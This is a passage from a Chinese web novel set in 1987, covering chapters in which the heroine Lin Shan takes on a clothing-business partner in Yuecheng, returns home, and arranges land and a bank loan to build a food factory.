真等出了事儿，大不了一张船票逃到港城。87年的港城还没有回归，是很多犯罪分子的避风港。 好好整治一下很有必要，至少不要让他们猖狂到，老百姓摆个摊，既要交保护费，又要冒着被人弄死的风险。 郭家虽然没有说过自家是做什么生意的，但是根据林珊的观察和猜测，郭家这三兄弟应该干的，都是走私越货倒买倒卖的生意。老大在港城，估计负责源头。老二在深城，方便疏通管道。老三盘踞粤城，业务应该遍地开花。 三兄弟实力雄厚，人脉甚广，是投机分子，但与此同时又何尝不是改革时代的前浪。后世很多大富，都是干这个起家的，他们很多都在九十年代陆续转型成功，洗得白白胖胖，摇身一变成为社会名流。 林珊没办法、也没资格评判什么，都是被历史洪流卷进来的人，谁又敢说没偷偷买过那些运进来的货呢。 小货车很快开到了郭家，郭广发突然有事要出门一趟，只有江秀琴和一个帮忙做饭的保姆阿姨在。江秀琴还是一如既往得热情，又弄了一大桌菜来招待她们。 饭桌上，她除了跟姐妹俩话家常，还兴奋地宣布郭峰终于找着对象了。 “挺漂亮的小姑娘，本地人，我偷偷看过，白白净净一看就招人喜欢！而且还是他自己找的！这次是真出息了！” “妈，你说这个干什么啊。”郭峰面红耳赤，挺不好意思的。 林珊做了个抱拳礼：“恭喜峰哥！” 林红也笑着恭喜了他一下，弄得郭峰彻底红成了个猴屁股。 饭桌上的话题很快围绕“对象”展开，江秀琴畅享了一下儿子结婚的时刻，感慨了一下林红跟王军的幸福生活，还不忘问林珊跟对象相处得怎么样。 林珊小声道：“挺好的。” 说起这个她还是有点不好意思，毕竟之前为了拒绝郭峰，她告诉郭家人自己有对象。虽然现在成了真，但多少有些尴尬。 江秀琴却把她的反应当成了娇羞，略带遗憾地笑着点点头。虽然林珊成不了自己儿媳妇，但郭峰现在找的这小姑娘也很不错，她已经很满意了，“真好啊，孩子们都好好的，我们做大人的也就放心了。” “是。” 吃完饭，众人喝了会儿茶后，郭峰直接带着林珊姐妹俩找阿英去了。 100-120 第101章 第101章 寻找合伙人 郭峰带她们去的, 是林珊上次买随身听的那个“佳品商铺”。 这个时间点店里没什么人，阿强正打着瞌睡，一见他们进门, 瞬间来了精神，“哎呦呦, 林珊妹妹来了！什么时候来粤城的？又来批服装吧？这次想买点儿什么？” 林珊被他这连环炮似的询问给逗笑了，刚要回应, 被郭峰打断了，“行了, 你喘口气, 今天有别的事情，阿英在不在？林珊想跟她认识一下。” “阿英？”阿强满脸问号, 手指着后头, “她在里头偷懒呢, 你们找她干什么。” 林珊开门见山：“我们服装店的生意越来越好，几乎每个月都需要补货, 所以我准备在粤城这边找个合伙人。今天过来, 主要是想看看阿英有没有这方面的兴趣。” “……”阿强有些 呆愣, 嘴张了两下又闭上了，左看看郭峰，右看看林珊，“……这样吧，我先把她叫出来。你、你们自己聊聊。” 林珊：“谢谢阿强哥。” 阿强摆摆手, 转身进了柜台后头的一个小门。没等多大会儿, 阿英就跟在她哥身后出来了。 她看着好像更黑了一些，仍旧是满脸的不耐烦，这回看见郭峰竟然一个好脸都没给, 直接忽略他，冲着林珊看了几秒，语气不是很好地开问：“你找我啊？” “是，我想单独跟你聊聊。”林珊笑着回应她，让自己看起来人畜无害，满脸真诚。 阿英上下审视了林珊一会儿，硬邦邦地来了句：“来吧，去外面说。”说罢也不等人反应，瞪了眼郭峰就自己先出去了。 郭峰一脸无奈，阿强则直接扶额叹气，林珊大概能猜得出其中的咕咕喵喵，她跟林红叮嘱了两句话后，自己也赶紧两步撵上了阿英。 阿英虽然没有林珊高，但在这个时期的粤城也算是大个子了，瘦瘦的，走路速度倒是不快，不过愣是让她晃走出了一种“不好惹”的气势。 阿英：“我哥说你可厉害了。又开包子铺，又开服装店的，而且还是大学生？”她说话很快，口音倒不是很重，看向林珊的时候有好奇有怀疑，像是在说“我看你可不像这么能干的人”。 林珊笑了，轻声解释道：“我家穷，又只有我妈跟我姐我们娘仨。饭吃不饱，又欠了一屁股债，还要隔三差五被亲戚欺负，不努力挣钱、不出人头地不行的。” “……”阿英倒是没想到她出身挺苦的，一时不知道该接什么话。 林珊轻声问她：“我上次听峰哥说你也想做服装生意？” 提起这个，阿英明显蔫了一些，叹着气说：“前段时间试了一下，货倒是卖完了，不过没怎么挣到钱，利不行。” 林珊点点头，大概能想象得出缘由。如果没有渠道直接拿到便宜货，就纯靠摆摊的话，收益确实不会太大，毕竟粤城可不是什么都紧俏的安河，而且，“服装除了卖衣服本身，还要卖一种生活和氛围。” “咩？”阿英连家乡话都出来了，满脸问号。 林珊笑着解释：“衣服要卖出高价，除了本身的款式和质量，咱们营造出来的环境和场景也很重要。要让顾客觉得穿上我们的衣服，就能变成她们在电影里看过的人，那种时髦又风情万种的女青年。” 阿英听得嘴巴都不自觉地张开了，精神头比刚才足了一打，眼睛亮晶晶地上下看了看林珊，小声感慨道：“文化人就是不一样啊。” 林珊乐了，直接了当问她：“我想在粤城找个人合伙做服装，不知道你有没有兴趣？” 阿英当然有兴趣了，就是不知道是怎么个合伙法儿，“我爸是不会再给我钱去摆摊了，不过钱没有，力气有的是，这也行吗？” 林珊点点头：“当然，我想找个可以负责粤城这边的一切补货事宜的人，另外还要摸清和固定一些高端货源。” 阿英陷入沉思，补货不是问题，摸清和固定高端货源对别人来说困难，对她和她家来说，还是挺容易的。林珊提的这些倒都是她能做到的，“那利润呢？” “两种方式，一种按货走，每单抽成。或者……”林珊顿了顿，开始给她画饼，“我们可以在粤城合开一家公司。等我再多开几家服装店，资金和时机都更成熟之后，咱们建个服装厂，创立一个属于自己的品牌。不再倒卖别人的衣服，让全国，乃至全世界的人民都穿上我们设计和制造的衣服。” 其实在刚才来的路上，郭峰闲聊的时候就说过阿英平时喜欢自己在家做衣服，还总把买的那些裙子改来改去，她父母为这事儿没少说她破坏东西。 林珊一共见过她两次，次次见，她都打扮得让人印象深刻。没有到奇装异服的地步，却非常有个性和水准。所以林珊猜测她大概跟很爱美的女孩一样，有着一个设计师的梦。 果然…… 阿英目瞪口呆，被这句“让全国，乃至全世界的人民都穿上我们设计和制造的衣服”给深深震撼住了。就像是脑子里一直缠在一起的一团乱麻，突然间被整理清楚了，露出了本来的面目。 没错！就是这样！她之所以想卖服装，就是因为她喜欢漂亮衣服！喜欢自己做！想让所有人都穿上她做的衣服！ 没想到这个世界上最了解她的，居然是一个陌生人！ “珊姐……” 阿英连称呼都变了，一把捞住林珊的胳膊，瞬间亲昵起来，“姐，你说得这些真能做到吗？” 林珊笑了笑，“你知道我家开着包子铺吧？” “知道。” “我这趟回去，马上要去建食品加工厂了。包子铺越开越多，供货量太大，必须建厂才能满足需求。虽然卖包子跟卖衣服差别很大，但企业发展的路线却又很多相似的地方。包子铺能干成，我相信服装生意更能干成，毕竟那个时候我们谁也不认识，现在不但交了很多朋友，还多了你的加盟，我对咱们有信心，你呢？” “我、我信心倒是有，就是怕万一做不好，就……不太好了。”阿英虽然总觉得自己是干大事的人，但是亲自摆了一回摊也算是知道了一些深浅，人家对她这么信任，万一她搞砸了，岂不是很丢人。 林珊笑了，“没关系，慢慢来，我们一起共同进步。遇到任何困难，咱们都商量着来，不用给自己太大的压力。” 阿英大受鼓舞，乖巧地点点头，略带腼腆地笑了，“姐，那咱没开公司前，我的钱先按提成来？” “哈哈。”林珊乐出声来，行，挺好，听得心花怒放也没忘了自己的利润，“当然了，亲兄弟明算账。不过你需要先确保你父母不会反对你跟我合作。” “这个不用担心，我爸嘴巴毒，但还是很疼我的。我能搞定他，你放心吧。”阿英胸有成竹得很。 林珊想了想，“那这样，我明天上午过来找你，要是没有问题，那咱们就写个合同，顺便再商量一下具体都需要做什么。” “好！”阿英猛点头，浑身干劲十足，恨不得立刻就撂挑子跟林珊走。 谈成了买卖，俩人也没再继续瞎逛，直接返回了铺子。这会儿将近下午四点钟，店内也开始陆续上人了，阿强忙着招呼客人，郭峰和林红端着杯子在一边喝茶聊天。 见阿英搂着林珊的胳膊进门，大家伙儿瞬间都睁大了眼睛。 怎么回事儿？出去的时候还不情不愿的，怎么一眨眼的功夫就变成姐俩好了呢？ 林红知道这是谈成了，心里忍不住给自己妹妹竖大拇指。虽然她不懂姗姗为什么要找个小姑娘合伙，但是她肯定有她的道理。 郭峰则是头一回亲身体会到林珊的厉害，这出去总共也就半个多小时吧，买卖能谈拢就够意外了，居然还能把阿英这丫头收得这么服服帖帖。这小妮子有多凶猛他可是领教过的。 厉害，真不是一般姑娘啊。 阿强原本正给客人拿货、讲货，一见自家妹子这亲昵劲儿，瞬间也傻眼了，这怎么回事？还真要跟着人家去做服装买卖去？老爸肯定不会同意的。 “那你先忙吧，咱们明天十点见。”林珊跟阿英告别，又和郭峰聊了两句就没再耽误阿强做生意，谢过人家之后，一行人回了招待所。 路上郭峰问起细节，林珊笑着说：“就是合适而已，又有利润又有理想，一般人都会动心的。” 不过到底能不能成，还是要看阿英的能力。这第一关就是她得成功说服自己的父母，如果连这点都做不到，那她也就不适合当合伙人了。 林珊之所以选她，其实最大的原因还是因为关系网。在粤城这个地界混，没有人罩着很难的。一回两回没问题，真做大了，被人盯上了，轻则收保护费，重则保不齐小命儿都没了。 郭峰忍不住竖起大拇指，利润和理想，这话说得真有水平，怪不顾得爹妈总让他要多读书。 阿英那边送走一拨儿客人后，立刻被阿强拉着拷问。 得知妹妹确实要跟人合伙做生意，而且明天就要签合同，吓得他立刻小跑着把亲爹请了过来。 雷生金混了大半辈子，什么风浪没见过，唯独这个小女儿让他成天唉声叹气，打也打不得，骂也骂不得，完全不知道该怎么下手才好。 这才刚安分了两天，居然要跟人合伙做生意了。她一个刚20的小丫头片子，能懂什么？也不怕被人骗了，简直是在胡闹！ 第102章 第102章 敲定合作 次日一早, 林珊一行人刚吃完早饭，郭峰就跑过来了。 阿英的爸爸雷生金，让他直接把林珊带到家里去, 说是这样比较方便谈事情。 林珊只好跟林红和李娜兄妹俩简单交代了一下，就前去赴约了。 路上, 郭峰眉飞色舞地把阿英跟她爸上演的戏码说了一遍。 原来林珊走后，阿英对疼爱她的父亲上演了一出跟以前完全不同的戏码。之前为了去摆摊, 她采取的是硬碰硬的方式，简称“一哭二闹三上吊”。这次不一样, 她学聪明了。 先是当做完全没看懂她爸的脸色似的, 兴高采烈地把林珊给她提的合伙计划说了出来，然后一脸乖巧地询问意见。 雷生金自然是摇头道：“不怎么样, 你完全没有一点经验。那个叫林、林珊的小姑娘嘴倒是挺会说, 可到底太年轻了, 吃了点儿倒卖的甜头，就觉得自己能干大事了。你要学的第一堂课就是别被人懵了。” 阿英心里不满, 赶紧把郭家搬了出来, “爸, 林珊姐是广昌叔家的亲戚，跟我们也不算特别远啊。而且她真得可厉害了，不但自己开包子铺，开公司，听说服装店也搞得特别大, 而且她还考上了清大！这可是正儿八经的文化人、高材生呀！不信你问问广昌叔, 林珊绝对不是骗子。” 雷生金倒是没想到一个小姑娘能干这么多事儿，对女儿的话将信将疑，“不管她是不是骗子, 爸都不希望你干这行。做买卖可不容易，爸给你搞个铺子，自己当老板不好吗？非要跟人家出去瞎搞。” 阿英心里委屈，眼圈瞬间一红，继续柔式进攻：“爸爸，我知道你疼我。前阵子我自己去摆摊之后，也知道服装很难做了。我其实也想过不干了，但是谁让我是你女儿呢，心里总有股不服输的劲儿，为什么人家能做好，我就做不好？爸爸，我真得不是因为林珊说得话好听，才决定跟她合伙的。我想知道她为什么能干好，我想跟着她学东西，而且……” “我是真得喜欢做衣服，我想让全国人民都穿上我做得的衣服。我觉得……她能帮我实现这个梦。” 雷生金是头一次这么心平气和地跟阿英谈论做服装的事，看着女儿满脸认真又充满希望的模样，他这个当爹的实在是不忍心泼冷水。 自己的孩子自己清楚，这丫头从小就爱鼓捣穿，别的都不爱，就爱那些花里胡哨的衣服。唉，瞧瞧这可怜兮兮的小脸，罢了罢了，她想试，就再试试吧，大不了赔光回自家铺子。 “你先去忙。”雷生金说了这么一句，就放阿英走了。 阿英知道这大概是妥了，强烈按捺住激动的心情，目送父亲离开铺子。 雷生金转头就去找郭广昌打听了一下林珊的底细。这一打听才发现，自家女儿说得居然全是真的！一个小姑娘居然还真就能在短短的三年时间内白手起家。包子铺、食品公司、服装店都被她经营得红红火火，而且这中间居然还抽空考了个省状元！货真价实的清大高材生！ 雷生金别说这辈子还没见过这种人，就是连听都没听说过，当即就决定让郭峰明天把人接到家里来，他一定要见见林珊。 郭峰跟林珊讲完这一切之后，忍不住感慨道：“你应该就是人家说的那种天才吧。” 林珊心虚地笑笑，“我运气比较好。” “……”郭峰眨巴了一下嘴，有些不知道该怎么聊了。 雷家在离“佳品商铺”不远的一条街上，听郭峰说这一片儿都是姓雷的。 雷生金家从外面看，跟其他人家也没什么区别，进去之后却别有洞天。天井、假山、鱼池，还有一片片叫不出名字的花花草草，一瞧就是精心打理过的。 院子不大不小，周围全是屋子，一共两层。一进又一进的，纵深很长。门厅的柱子都很粗大，一看就是好木，窗棱屋檐都雕着花，不用说祖上肯定是大户人家。 跟雷家这宅子一比，郭家的小院顿时就显得不太够看了。不过这也在所难免，毕竟根基不一样。外地人能在这个地界混出来，已经很牛了。 雷生金一早就让家里人准备好糕点和茶水了，等郭峰带着林珊一进正屋，瞬间被阿英热情地拉过去了，“珊姐，这是我爸。” “雷叔叔好，我是林珊。”林珊礼貌地打着招呼，眼神清亮又坚定。 雷生金没想到这小姑娘不但本事大，人还长得这么靓，关键是气势不虚，第一印象不错，于是他笑着说：“坐吧，想喝点什么茶？” 林珊不懂茶，“您做主吧。” 雷生金倒了红茶给她，又把糕点放过去，让自己看起来像个和蔼的长辈，他长得说好听点叫浓眉大眼，说不好听的那就是凶神恶煞，一般小孩子见了都害怕。 林珊喝了口茶，又尝了口点心，对雷生金和阿英笑道：“这茶好喝，糕点也好吃，都是安河没有的味道。谢谢雷叔叔招待。” 雷生金喜欢礼貌的孩子，脸上的表情更加和蔼了。 阿英开心地说：“我也爱喝大红袍，味道可香了。还有这莲蓉糕，莲香楼的都没我家里做的好吃！珊姐，你多尝尝。” “好。”林珊笑着喝了口茶，又尝了口点心。 郭峰虽然不懂茶，也知道大红袍金贵，忍不住多喝了几口，喝得阿英直瞪他。郭峰也是无奈了，以前一口一个峰哥，别提多亲了，现在连喝口茶都得被嫌弃。女孩子的心果然海底深啊。 几人喝了会儿茶后，刚准备进入正题，郭广昌突然来了。他风尘仆仆的，坐下连口水都没喝就打趣道：“阿英有生金当后盾，我不得来给我大侄女把把关啊，万一她吃亏了呢。” 众人乐了，知道他这是玩笑话。 林珊识趣地谢了谢郭广昌后，直接切入正题，“雷叔叔，我是诚心跟阿英合作的，不知道您对这事有什么看法？” 雷生金也没客气，“我原本肯定是不同意的，但是架不住阿英着魔了似的就想搞服装，所以我想看看你们打算怎么合作。” 林珊点点头，把自己昨晚在招待所写好的合同书，递给雷生金，“前期合作事项，后期规划，责任义务和利润分成，我都简单写了一下，您先看看。” 雷生金接过厚厚的三页纸，有些怔愣，没想到人家小姑娘准备得这么齐全。 他把合同放在桌上，阿英和郭广昌，连带郭峰瞬间都凑过去看了。 其实林珊具体也没写什么特别的，就是把昨天下午跟阿英说那些话，落实到了文字上面，另外还加上了些毁约的代价。毕竟还是那句话，情谊是情谊，买卖是买卖。 雷生金看东西倒是不慢，不一会儿就粗略看完了，他面上没流露出什么，内心却深受震撼。这前景规划，别说他闺女心动，连他看得都想投钱了。 在没瞧见这合同之前，他内心多少还是存了一些小姑娘家，聪明、运气好，所以成了些事儿，到底还是嫩的想法。不过再看完这个几乎可以叫做“滴水不漏”的合同之后，他是不会再存着半点轻视的心了。 有很多条款，连他都没想到还能这样。简直比他们这些老江湖还精。 想到这儿，雷生金忍不住跟郭广昌对视了一下，俩人互换了个眼神，彼此心里都闪现了一句话：长江后浪推前浪啊。 这文化人就是文化人。 不过想得周到，算得仔细，林珊给的利润和条件，确是实打实的厚道。雷生金和郭广昌都没想到她能这么大方，这么有魄力。 “姐！”阿英激动坏了，这合同看得她心潮澎湃，感觉梦想就在前方，她没忍住一把搂住林珊，大喊：“你太厉害了！我跟你合伙！咱俩一起冲出亚洲走向世界！” “好。”林珊笑着扶助她，看向雷生金和郭广昌。 雷生金也笑了，“想试就试试吧。” 阿英高兴地尖叫出声，立刻跑过去抱住她爸，“怎么样？我就说我看人没错的，是不是爸爸？！” 雷生金宠溺地拍拍她的脑袋，无奈地冲大家笑了。他家阿英虽然脾气有些大，但到底是他的闺女，有冲劲儿有眼光！ 暂时敲定了合作，林珊又跟阿英聊了一下细节之后，誊写了另一份合同出来。就这样，在雷生金和郭广昌的见证下，她顺利找到了自己在粤城的合作伙伴。 “走，雷叔请你们吃中饭。”雷生金大手一挥，叫在座的所有人都上酒楼吃饭。 得知林珊还带了亲姐姐和两个员工来，便直接让郭峰去招待所带人去了。 林红和李娜兄妹俩来到这个名叫“翠微楼”的饭店，整个人都傻了，这楼要是搁在以前，应该也是王爷住的吧？放前几年，更是要被批斗惨的。 雷生金找的是个包厢，郭广昌把江秀琴也接了过来，要不是阿英妈妈在娘家串亲戚，估计也得过来，几个长辈和年轻人吃饭，桌上谈论的，自然是彼此都知道的一些家常。 江秀琴喜欢林珊，对着雷生金和阿英是夸了又夸，说起安河的服装店，那叫一个滔滔不绝。 阿英听得两眼放光，羡慕极了，恨不得立刻跑去安河看看，“珊姐你真得好厉害，这些主意你都怎么想出来的？有机会可以让我去安河看看吗？” “当然了，你想什么时候去都可以。”林珊笑着说完，让她下午有空的话跟自己回一趟招待所，一是看看服装店拿衣服的风格，二来也认一下常拿货的那几家摊位。 “我有空！我随时有空！”阿英点头如捣蒜，恨不得立刻开始工作。 第103章 第103章 回安河啦 林珊这次来粤城的主要目的除了进货, 就是找个合伙人。搞定阿英之后，她就要抓紧时间进行下面的事情了。 几人吃完饭后，阿英跟着林珊他们去了招待所。 林珊拆开几件衣服, 让她感受一下风格。 “哇！好靓啊！这么配在一起真好看！” “哇，这件也好靓！” “天啊, 这裤子好好看！” “姐！这鞋子你哪里找的？” …… 阿英快乐得像只小鸟一样，在屋里转来转去, 满屋的货让她应接不暇，这件好看, 那件也漂亮, 每件都爱不释手。而且这么多衣服，居然只够卖一个多月的。 林珊给她简单看了一些衣服, 就直接带人去了市场, “你先认准这几家店, 没事的时候常来逛逛，看看有没有进什么新货, 等需要补货的时候, 我会给你打电话的。” “好！” “对了, 港城那边有很多时装类的杂志，你要是能弄到的话，会很有帮助的。以后捏不准衣服会不会流不流行的时候，可以参考一下她们的穿搭。”林珊记得这个时期的港城已经有不少时尚杂志了，多看看那些对审美和眼界还是挺有帮助的。 “好！我回头请峰哥帮忙搞一些过来。” 林珊带着阿英走了一圈市场, 有好几个人认出她来, 虽然她不如阿强跟这些人混得熟，但雷家女儿的名声在外可是响当当的。 市场逛完之后，林珊开始跟她说正事。 当合伙人光会帮忙补货可不行, 还要有本事搞定货源，“港城、欧美、日韩的货都要，只要衣服能达到你刚才看见的那个标准，都可以试着谈谈。” “好，我找我爸帮忙，他认识的人多。”阿英做了个向前冲的手势，忙了这么久居然一点儿都没觉得累。 林珊请她在招待边吃晚饭边聊，直到阿强开着小货车来接她，大小姐还有些意犹未尽，“姐你什么时候走，票买了吗？到时候我让人送你，这么多货可别丢了。” 林珊没想到事情进展得这么顺利，所以票还没买，要是能买到明天的票那是最合适不过了。她把情况一说，阿英立刻拍着胸脯让他哥去搞票。 阿强无奈地笑了，“我明天早上把票送过来，正好再送你们一程。” “那就太谢谢了。”林珊感激不尽，愣是把阿强叫住，打架似的把票钱塞到了他兜里。 送走雷家兄妹后，林红不是很放心地小声问林珊：“要是人家把渠道都弄好了，不跟咱合伙了怎么办？”这地方到底不是安河，她们人生地不熟的，人家蹬掉她们可以说是分分钟的事儿，而且刚才姗姗还把开店的事给阿英讲得那么细致，她就有点儿怕教会徒弟饿死师傅。 林珊理解姐姐的担心，不过做生意肯定要承担风险的。你想用人家的人家关系，就要做好人家有可能学会一切之后，把你踹掉的准备。而且她之前讲的那些关于服装店经营的事情，聪明人只要去她店里观察上一段时间，很快就都能学会了。她也只不过是占了个先机罢了。 阿英要是真学会了卖衣服就把她蹬掉，也没什么大不了的，大不了自己重新过来找渠道，无非少挣些钱罢了，而且经营这个东西，看着容易做起来难，要操心的事儿非常多，并不是人人都想干的。 “……还有，我也不是没有跟郭峰打听过雷家，这家人做事还是很讲道义的。不然也不会在这一带这么吃得开。”人要混得好，光会耍狠可不行。 林红点点头，心里稍微放心一些。姗姗说得对，大不了她们少挣点儿钱。 姐妹俩聊完，林珊赶紧去洗了个热水澡，洗完看时间还早，就播了通电话给贺正岩。 林珊这几天忙，贺正岩比她还忙，每天单位和军营两头跑，大晚上回来还得继续写报告，接到林珊打来的电话，真就像是一剂解乏针似的。 “还在忙啊？”林珊挺心疼他的，尽管旁边有前台大姐看着，她的语气还是不自觉地软了下来。 贺正岩笑着说：“没事儿，快写完了。你呢？生意谈好了？” “好了，明天上午就回安河了。” “真棒。”贺正岩很替她高兴，不过转念一想她在安河还要待上一阵儿，顿时又有点失落。 林珊隔着电话猜不到他的情绪，倒是被那句“真棒”给弄得有点不好意思，迎上前台大姐热烈的眼神，她稍稍侧了侧身，小声叮嘱他：“你要注意多休息。” “嗯，你也是，什么都没有身体重要。” “好，我知道了，你忙吧，我明天要赶车，准备去睡了。” “好，路上注意安全，到了安河跟我说一声。” “嗯，知道了。” 林珊感觉到那边在等她挂电话，忍不住笑了。这次进货的时候，她也替贺正岩挑了两件衬衫和裤子，有点儿想看看他穿上去什么样儿了。不过再急，也得等她办完安河的事儿才能回学校。 次日一早，林珊一行人在阿强和阿英的帮助下，顺利登上了火车。 这次粤城之行非常顺利，四个人虽然跟一大堆货挤在包厢里，精神头却非常好，天南海北地聊了一路，没怎么觉得熬，安河就到了。 赵桂花为了给闺女们接风，亲自下厨做了好几个菜，还愣是没放林红回家，搞得王军眼巴巴地看着媳妇儿被困娘家。 家里大门一关，娘仨加上一条大黄狗，说说笑笑好不热闹。 赵桂花听完林珊在粤城做的事后，得出了结论：“人家小姑娘有个好爹啊，你爹要是有这本事，咱们也用不着这么累咯。” 林珊笑了，“靠自己不是更有成就感嘛，谁之前还说觉得自己现在像个当官的，天天巡逻各个店铺，神气得不得了。” 赵桂花：“好你个臭丫头，打趣上你娘了。我还没跟你算账呢，你跟贺领导好了的事儿，为啥不先跟我说，要不是赵福抓了个正着，你还想瞒我多久啊？” 林珊大喊冤枉，搂着桂华女士撒娇：“我不是在电话里解释过了嘛，真没想瞒你们，我就是忙忘了。” “你这丫头啊。”赵桂花点了点林珊的脑袋，又帮她顺了顺头发。她知道闺女很忙，当妈的怎么会不心疼呢。不过这么忙，还能找到贺领导这么好的对象，真不愧是她闺女啊。 从知道消息到现在，赵桂花常常自己想起来，都会不自觉地傻笑。 京市人，又是部队当官的，而且人家妈妈还是大科学家！这什么家庭啊！最关键的是小贺这小伙子，对她们一家人那是真得没话说。属实是打着灯笼都找不到这么好的青年了！ 赵桂花满意得不得了，现在连小闺女也找着对象了，她还有什么可发愁呢。 “珊珊你可得注意身体啊，女孩子可不能一直这么累的，建厂子的事儿不着急，缓缓也行。” 林珊乖巧地应了，“我有分寸的。” 赵桂花叹了口气，把一旁的林兰也搂了过来，一左一右各一个闺女，“妈觉得咱家现在的日子特别好，不愁吃不愁喝不愁穿的，等红子过个一年半载再生个娃，珊丫头顺利毕业以后跟小贺一结婚，妈就心满彻底意足了。” 林红笑了，林珊却提醒桂花女士：“您之前还说，我姐要是能找个好人家您就知足了，我要是能考上大学您就知足了，现在看来您这知足的程度，可是一回回再往上加啊。” “……”赵桂花被她说得哑口，随即就过来掐人。 林珊笑着到处躲，林红也忍不住哈哈笑了起来，赵桂花瞬间把她也加入了打击报复的对象。 次日，林珊开始给服装店补货。换季要重新制定主打款，橱窗要精心布置，衣服要一一制定价格，事儿还真不算少。她足足忙活了三天，才把上新的事情基本搞定。 现在各个包子铺运转顺利，除了供货有些紧张外，一派欣欣向荣。目前公司的账都是赵桂花和林红负责，为了减轻俩人的负担，林珊准备再培养一下李娜。 这次去粤城进货，她发现这丫头算数居然飞快。货多的时候，老板刚把算盘打完，她数儿就算出来了。 李国超解释说他妹从小就这样，之前他爹妈还托关系想把李娜弄进厂里算账去，结果人家礼收了，人愣是没让进。 林珊把之前买的财会书都给了李娜，还派下了任务，“你好好学，把书里的知识都搞明白，将来我带你去京市。” “真的？！”李娜两眼放光，粤城再好，可在安河人心里，还是首都更吸引人！更了不起！ 林珊笑了，“我骗过你吗？” 李娜摇摇头，傻乎乎地乐了半天，抱起那一摞书就跑没影了。 目前公司在扩大阶段，哪个地方都需要人，虽然她在京市这段时间，赵福已经招了几个人了，但还是缺优秀人才。等过阵子厂子开建，需要的人更多。 林珊决定把老铺子的店长薛凤琴和城东铺子的店长徐娟，提拔到公司来共同负责给各大门店供货的事情，这两个店再重新选拔店长。 薛凤琴是最老的店长，大家知根知底，徐娟是王军的表姐，关系也不用说，两人人品好、能力佳，非常适合调到公司来。 于是在征求过两人的意见后，林珊拿出合同给两人签了一下。既然进入公司了，又要负责最核心机密的配料工作，自然需要签一些保密协议。还是那句话，情分是情分，生意是生意。 让两人升职还有另外的效用，其他门店的店长看见之后，干劲儿更足了。他们都知道公司正准备建食品厂，干得好了，保不齐以后还能当个厂长呢！ 服务员们也浑身都是力气，空缺的店长位置要优先从他们中选拔，谁又敢说自己一定不会被选上呢？ 在对公司的结构进行了一系列调整之后，林珊要正式开始建厂了。 第104章 第104章 正式建厂 在哪个年代建厂, 都是一件很艰难的事。 前期要进行充分的市场调研，制定非常详细的计划。厂址要怎么选择，规模有多大, 产品范围是什么，生产工艺选择什么样的, 以及设备引进等等诸多问题。 等这些都策划好之后，还要面临各种证件的注册。就这还只是开端, 等实际投入盖厂，采买设备之后, 又是一堆问题。 而且这都是在一个大前提, 资金和人脉充足的情况下。不然更是难上加难。 林珊初步估算了一下，就算现在立刻能动工, 而且盖得规模不大, 也需要至少半年的时间。更何况她还没有去银行谈贷款。 因为前世大致了解一些贷款流程, 所以她先把自家公司的账目整理了一下。另外也把服装店的营业执照升级成了红珊服装公司，方便以后跟粤城那边进货的时候走账。 赵福这两天刚好在临市忙加盟的业务, 一回安河第一件事就是带林珊去村里看选中的那块地。 这片地紧邻大马路, 是老百姓的耕地。虽然政策上78年就陆续开放私人建厂了, 但是经过近十年的发展，大河村仍然才只有一家私人小厂子。是村里之前唯一的万元户赵老六，开的一个磨面厂，小作坊似的规模。 赵福看上的地皮就在他的厂子旁边，“六叔这厂子承包费一年五百多点儿, 咱比他大了不少, 这半亩地村部现在要2000块一年，我估摸最后能谈到1800。” 林珊叹气，她想租的地可没有大到赵老六的四倍, “最多1500，五年一签，不同意咱就去隔壁村。咱们也不是非要建设大河村，带动村里发家致富的。” 赵福明白了，也忍不住叹气：“村里都觉得咱挣大钱了，想占点儿便宜。说到底还是我在村里的根基不深。” 林珊安慰了他两句，“不深就慢慢让它深起来，有些人不怀德只畏威。” 虽然2000块对于公司来说不是事儿，但市场就是市场，规矩就是规矩，明摆着欺负人可不行。87年的大河村一带穷得一塌糊涂，村民平均年收入500块不到，比这便宜的地皮到处都是。 林珊让赵福暂时冷一冷村部，先开始着手施工队的事。她自己则带着赵桂花和李国超去了银行。 桂花女士因为经常跑银行，所以工作人员对她非常熟悉和热情。得知他们想要谈贷款业务，周经理立刻把人带到了办公室。 林珊在安河，尤其是城西这一片基本算是家喻户晓的名人了，周经理上来就一顿猛夸，夸得林珊都快以为这是什么表彰大会了。 “周经理您客气了，没有国家的好政策，我们公司也不可能发展得这么好。咱们银行没有您的领导，业务员们的水平也不可能这么高的。”林珊回馈了几句客套话后，转入正题。 贷款对于银行来说要看的是借贷人的资质，而对于她们公司来说，则要看这个行的利率有多高，获批手续有多快。 周经理把表格拿了出来，“贷款六个月以内是8.41%，六个月到一年是9.26%，一到三年9.78%，三到五年是10.21%。你放心，这个听着多，但我们行是最低的。你们是要做副食品的，这到农村信用社的话，上来可就9.3%看了。” 林珊接过表格简单看了一下，她根本不用算账，都知道这年代借钱是合算的。 如果她记得没错，八十年代后期到九十 年代，大量的坏账烂账堆积在信用社和四大行。信用社尤为严重，有一部分当年借过钱的人因为坏账重组政策，到最后一分钱都没还也啥事没有。 在历史前进的洪流中，总有一小撮人能在政策中间走到狗屎运。 林珊这个时候贷款倒不是想钻这个空子，而是相信自己能用贷款出来的钱，赚到远超于利率的钱。 “我们贷十万的话，最快什么时候获批？” 周经理估算了一下，“如果手续都齐全合规，我们报上去之后，大概四个多月能下来吧。” 四个多月在这个时期已经很快了，林珊心里有数之后，又带赵桂花和李国超去了其他银行。因为她们在其他行也同样有不少业务，所以一圈儿不虚的商谈下来，发现还是工行的情况最合适。 次日，林珊带着赵福和李国超约周经理在外面聊了聊。 好酒好菜之后，周经理松了口，“你们公司这么挣钱，想谈利息肯定没问题，不过这事儿我说了不算啊，得郭行长拍板才行。” 林珊托周经理约郭行长出来吃饭，来回推脱几次，又送了两条烟跟一箱酒后，终于拿下了郭行长，同意让林珊的公司以五年10%的利率贷款十万元整。 与此同时，被冷了一个礼拜的大河村村部，也同意了1500元一年的租金。 林珊这些日子，不是跑银行就是跑工商和税务，每天忙得团团转，才总算是把需要的手续都提交了上去，接下来就等着下证和拨款就行了。 跟学校请的那两个礼拜的假期早到了，又被她续了一个礼拜后，老师下了最后通牒，必须在4月26号前归校。 林珊到底还是个学生，只好趁着最后这几天，把该布置的任务布置下去，该疏通的关系疏通一下，去省城设备厂考察和学习的事，她就没办法亲自参与了，只能让赵福先过去。 其实底料的加工并不复杂，只要两台碾碎机、搅拌机，外加一个封口机就行。不过既然要正儿八经开厂了，那就不能只搞一个业务。“林爱国副食品加工厂”必须有自己的核心产品才行。 